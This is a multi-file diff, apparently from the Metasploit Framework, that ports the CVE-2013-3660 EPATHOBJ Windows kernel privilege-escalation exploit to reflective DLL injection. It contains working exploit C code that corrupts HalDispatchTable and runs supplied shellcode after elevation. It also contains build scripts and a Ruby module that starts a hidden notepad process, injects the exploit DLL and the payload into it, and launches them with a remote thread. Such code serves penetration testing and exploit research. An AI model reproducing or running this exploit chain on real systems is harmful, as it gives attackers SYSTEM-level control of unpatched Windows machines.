// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <intrin.h>
#include "ReflectiveDLLInjection.h"
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#pragma intrinsic( _rotr )
__forceinline DWORD ror( DWORD d )
{
return _rotr( d, HASH_KEY );
}
__forceinline DWORD hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
h += *c;
} while( *++c );
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,18 @@
<?xml version="1.0" standalone="yes"?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<SolutionPath>.\ppr_flatten_rec.sln</SolutionPath>
</PropertyGroup>
<Target Name="all" DependsOnTargets="x86" />
<Target Name="x86">
<Message Text="Building CVE-2013-3660 ppr_flatten_rc x86 Release version" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
</Target>
<Target Name="x64">
<Message Text="ppr_flatten_rec is not supported in x64" />
</Target>
</Project>

View File

@ -0,0 +1,22 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.21005.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ppr_flatten_rec", "ppr_flatten_rec\ppr_flatten_rec.vcxproj", "{942BF20A-E438-48B0-A614-A6E0CC2E94BD}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{942BF20A-E438-48B0-A614-A6E0CC2E94BD}.Debug|Win32.ActiveCfg = Debug|Win32
{942BF20A-E438-48B0-A614-A6E0CC2E94BD}.Debug|Win32.Build.0 = Debug|Win32
{942BF20A-E438-48B0-A614-A6E0CC2E94BD}.Release|Win32.ActiveCfg = Release|Win32
{942BF20A-E438-48B0-A614-A6E0CC2E94BD}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -418,19 +418,10 @@
# define WIN32_NO_STATUS
#endif
#include <stdio.h>
#include <stdarg.h>
#include <stddef.h>
#include <windows.h>
#include <assert.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>
#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")
#pragma comment(lib, "shell32")
#pragma comment(linker, "/SECTION:.text,ERW")
#ifndef PAGE_SIZE
@ -448,11 +439,6 @@ static ULONG ComplexPathNumRegion = 0;
static HANDLE Mutex;
static DWORD ComplexPathFinished = 0;
// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH 0x00000001
#define PD_ENDSUBPATH 0x00000002
@ -509,21 +495,24 @@ ULONG HalQuerySystemInformation;
PULONG TargetPid;
PVOID *PsInitialSystemProcess;
VOID elevator_complex_path();
//#define DEBUGTRACE 1
//#define DEBUGTRACE 1
#ifdef DEBUGTRACE
#define dprintf(...) real_dprintf(__VA_ARGS__)
#else
#define dprintf(...) do{}while(0);
#endif
static void real_dprintf(char *format, ...) {
va_list args;
char buffer[1024];
va_start(args,format);
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
strcat_s(buffer, sizeof(buffer), "\r\n");
OutputDebugStringA(buffer);
}
// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
#ifdef DEBUGTRACE
VOID LogMessage(LEVEL Level, PCHAR Format, ...);
#define dprintf(...) real_dprintf(__VA_ARGS__)
static void real_dprintf(char *format, ...) {
va_list args;
char buffer[1024];
va_start(args,format);
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
strcat_s(buffer, sizeof(buffer), "\r\n");
OutputDebugStringA(buffer);
}
#else
#define dprintf(...)
#define LogMessage(...)
#endif

View File

@ -1,15 +1,15 @@
//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
// This is a stub for the actual functionality of the DLL.
//===============================================================================================//
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include "ComplexPath.h"
// Purloined from ntstatus.h
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth
//
// --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
@ -550,7 +550,20 @@ VOID __declspec(naked) HalDispatchRedirect(VOID)
}
}
VOID elevator_complex_path()
/*!
* @brief Helper thread function which runs the given payload directly.
* @param lpPayload The payload shellcode to execute.
* @returns \c ERROR_SUCCESS
*/
DWORD WINAPI execute_payload(LPVOID lpPayload)
{
LogMessage(L_INFO, "[PPRFLATTENREC] Payload thread started.");
VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode();
return ERROR_SUCCESS;
}
VOID elevator_complex_path(LPVOID lpPayload)
{
HANDLE Thread;
HDC Device;
@ -566,6 +579,12 @@ VOID elevator_complex_path()
"\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n"
"\r------------------- taviso@cmpxchg8b.com, programmeboy@gmail.com ---\n"
"\n");
if (lpPayload == NULL) {
LogMessage(L_ERROR, "[PRFLATTENREC] payload argument not specified");
return;
}
NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");
NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
Mutex = CreateMutex(NULL, FALSE, NULL);
@ -590,10 +609,10 @@ VOID elevator_complex_path()
// Lookup some system routines we require.
KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);
HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
HalDispatchTable = (PULONG)((ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase);
PsInitialSystemProcess = (PVOID*)((ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase);
PsReferencePrimaryToken = (FARPROC)((ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase);
PsLookupProcessByProcessId = (FARPROC)((ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase);
// Search for a ret instruction to install in the damaged HalDispatchTable.
HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)
@ -629,7 +648,7 @@ VOID elevator_complex_path()
// I need to map at least two pages to guarantee the whole structure is
// available.
while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),
while (!VirtualAlloc((LPVOID)(*DispatchRedirect & ~(PAGE_SIZE - 1)),
PAGE_SIZE * 2,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE)) {
@ -740,7 +759,7 @@ VOID elevator_complex_path()
if (ComplexPathFinished) {
LogMessage(L_INFO, "Success...", ComplexPathFinished);
//ExitProcess(0);
CreateThread(0, 0, execute_payload, lpPayload, 0, NULL);
return;
}
@ -756,7 +775,8 @@ VOID elevator_complex_path()
}
// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
#ifdef DEBUGTRACE
VOID LogMessage(LEVEL Level, PCHAR Format, ...)
{
CHAR Buffer[1024] = {0};
va_list Args;
@ -774,28 +794,34 @@ BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
//fflush(stdout);
//flush(stderr);
return TRUE;
}
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
#else
#define LogMessage(...)
#endif
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
hAppInstance = hinstDLL;
elevator_complex_path();
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
BOOL bReturnValue = TRUE;
dprintf("[PPRFLATTENREC] DllMain invoked, reason: %u", dwReason);
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
dprintf("[PPRFLATTENREC] Module queried %x", hinstDLL);
if (lpReserved != NULL)
{
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
dprintf("[PPRFLATTENREC] Launching exploit with %p", lpReserved);
elevator_complex_path(lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}

View File

@ -0,0 +1,141 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{942BF20A-E438-48B0-A614-A6E0CC2E94BD}</ProjectGuid>
<RootNamespace>ppr_flatten_rec</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
<LinkIncremental>false</LinkIncremental>
<GenerateManifest>false</GenerateManifest>
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
<CodeAnalysisRules />
<CodeAnalysisRuleAssemblies />
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;PPR_FLATTEN_REC_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
</ClCompile>
<Link>
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL</Command>
</PostBuildEvent>
<ResourceCompile>
<PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;PPR_FLATTEN_REC_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
</ClCompile>
<Link>
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\ppr_flatten_rec.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\ppr_flatten_rec.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine>
<Profile>false</Profile>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "..\..\..\..\..\data\exploits\CVE-2013-3660\" GOTO COPY
mkdir "..\..\..\..\..\data\exploits\CVE-2013-3660\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2013-3660\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="ppr_flatten_rec.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="ComplexPath.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

View File

@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<ClCompile Include="ppr_flatten_rec.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="ComplexPath.h" />
</ItemGroup>
</Project>

View File

@ -1,20 +0,0 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual C++ Express 2010
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -26,6 +26,13 @@ PUSHD CVE-2010-0232
msbuild.exe make.msbuild /target:%PLAT%
POPD
IF "%ERRORLEVEL%"=="0" (
ECHO "Building CVE-2013-3660 (ppr_flatten_rec)"
PUSHD CVE-2013-3660
msbuild.exe make.msbuild /target:%PLAT%
POPD
)
FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j
SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6%
echo Finished %ldt%

View File

@ -27,11 +27,12 @@ class Metasploit3 < Msf::Exploit::Local
[
'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Vulnerability discovery and Original Exploit
'progmboy <programmeboy[at]gmail.com>', # Original Exploit
'Keebie4e', # Metasploit integration
'egypt', # Metasploit integration
'sinn3r', # Metasploit integration
'Meatballs', # Metasploit integration
'juan vazquez' # Metasploit integration
'Keebie4e', # Metasploit integration
'egypt', # Metasploit integration
'sinn3r', # Metasploit integration
'Meatballs', # Metasploit integration
'juan vazquez', # Metasploit integration
'OJ Reeves' # Metasploit integration
],
'Arch' => ARCH_X86,
'Platform' => 'win',
@ -54,12 +55,17 @@ class Metasploit3 < Msf::Exploit::Local
[ 'CVE', '2013-3660' ],
[ 'EDB', '25912' ],
[ 'OSVDB', '93539' ],
[ 'MSB', 'MS13-015' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ],
],
'DisclosureDate' => 'May 15 2013',
'DefaultTarget' => 0
}))
register_options([
OptInt.new('WAIT', [ true, "Number of seconds to wait for exploit to run", 10 ])
], self.class)
end
def check
@ -110,6 +116,13 @@ class Metasploit3 < Msf::Exploit::Local
end
def exploit
if is_system?
fail_with(Exploit::Failure::None, 'Session is already elevated')
end
if check == Exploit::CheckCode::Safe
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
end
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
@ -117,56 +130,59 @@ class Metasploit3 < Msf::Exploit::Local
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
end
print_status("Creating a new process and migrating...")
dll = ''
offset = nil
cmd = "#{expand_path("%windir%")}\\System32\\notepad.exe"
new_proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
new_pid = new_proc.pid
print_status("Launching notepad to host the exploit...")
cmd = "notepad.exe"
opts = {'Hidden' => true}
process = client.sys.process.execute(cmd, nil, opts)
pid = process.pid
host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
print_good("Process #{pid} launched.")
if not new_pid
print_error("Filed to create the new process, trying in the current one, if unsuccessful migrate by yourself")
else
print_status("Migrating to #{new_pid}")
migrate_res = false
begin
migrate_res = session.core.migrate(new_pid)
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError
migrate_res = false
end
if migrate_res
print_good("Successfully migrated to process #{new_pid}")
else
print_warning("Unable to migrate to process #{new_pid.to_s}, trying current #{session.sys.process.getpid} instead. If still unsuccessful, please migrate manually")
print_status("Reflectively injecting the exploit DLL into #{pid}...")
library_path = ::File.join(Msf::Config.data_directory, "exploits",
"cve-2013-3660", "ppr_flatten_rec.x86.dll")
library_path = ::File.expand_path(library_path)
::File.open(library_path, 'rb') { |f| dll = f.read }
pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll))
pe.exports.entries.each do |e|
if e.name =~ /^\S*ReflectiveLoader\S*/
offset = pe.rva_to_file_offset(e.rva)
break
end
end
# Inject the exloit, but don't run it yet.
exploit_mem = inject_into_pid(dll, host_process)
print_status("Trying to load the exploit and executing...")
print_status("Exploit injected. Injecting payload into #{pid}...")
# Inject the payload into the process so that it's runnable by the exploit.
payload_mem = inject_into_pid(payload.encoded, host_process)
session.core.load_library({
"LibraryFilePath" => File.join(Msf::Config.data_directory, "exploits", "cve-2013-3660", "exploit.dll"),
"UploadLibrary" => true,
"Extension" => false,
"TargetFilePath" => "#{rand_text_alpha(5 + rand(3))}.dll",
"SaveToDisk" => false
})
print_status("Checking privileges after exploitation...")
if is_system?
print_good("Exploitation successful!")
else
fail_with(Failure::Unknown, "The exploitation wasn't successful but should be safe to try again")
end
if execute_shellcode(payload.encoded)
print_good("Enjoy!")
else
fail_with(Failure::Unknown, "Error while executing the payload")
end
print_status("Payload injected. Executing exploit...")
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
host_process.thread.create(exploit_mem + offset, payload_mem)
wait = datastore['WAIT'].to_i
